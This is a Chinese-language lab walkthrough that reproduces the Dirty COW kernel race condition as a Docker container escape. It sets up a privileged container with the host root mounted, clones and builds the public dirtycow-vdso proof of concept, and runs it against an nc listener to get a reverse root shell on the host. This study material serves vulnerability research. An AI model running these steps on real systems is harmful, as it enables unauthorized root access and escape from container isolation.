一、漏洞原理与测试目标
-
漏洞本质:Linux 内核写时复制(COW)机制的竞争条件漏洞,允许低权限用户篡改只读内存映射(如 VDSO 虚拟动态共享对象),实现权限提升。
-
Docker 逃逸逻辑:容器与宿主机共享内核,通过特权容器突破隔离,利用漏洞篡改宿主机 VDSO 内存,获取宿主机 root 权限。
-
测试目标:通过
scumjr/dirtycow-vdso
工具,从容器逃逸到宿主机,获取反向 shell。
二、环境准备(宿主机)
1. 内核版本验证(关键!)
脏牛漏洞仅影响 Linux 内核 2.6.22~4.8.3,需确认宿主机内核:
# 宿主机执行
uname -r
# 需输出如:4.4.0-31-generic(已知兼容版本)
2. 安装 Docker 环境
# 宿主机执行
sudo apt-get update
sudo apt-get install -y docker.io
sudo systemctl start docker
sudo systemctl enable docker
三、漏洞复现步骤
1. 启动特权容器(突破隔离的核心)
# 宿主机执行,创建带特权模式+挂载宿主机根目录的容器
sudo docker run --privileged -v /:/host -it ubuntu:18.04 /bin/bash
# 参数说明:
# --privileged:赋予容器接近宿主机root的权限,允许访问内核资源
# -v /:/host:将宿主机根目录挂载到容器的/host,方便操作宿主机文件
# ubuntu:18.04:基础镜像(兼容编译环境)
2. 容器内安装依赖工具
# 容器内root用户执行,安装编译所需工具
apt-get update && apt-get install -y gcc make git nasm vim-common
# 工具说明:
# gcc:编译C代码;make:构建工具;git:克隆代码
# nasm:汇编器(处理payload.s);vim-common:含xxd(二进制转C头文件)
3. 克隆并编译 POC(漏洞利用程序)
# 容器内执行,克隆漏洞利用代码
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
# 编译POC(生成0xdeadbeef可执行文件)
make
4. 执行漏洞利用(获取宿主机反向 shell)
步骤 1:宿主机开启监听(接收反弹 shell)
在宿主机新终端执行(替换 IP 为宿主机实际 IP,如 192.168.226.133):
nc -lvvp 1234 # 监听1234端口,等待容器连接
步骤 2:容器内运行 POC(发起攻击)
# 容器内执行,向宿主机监听端口发送反向shell
./0xdeadbeef 192.168.226.133:1234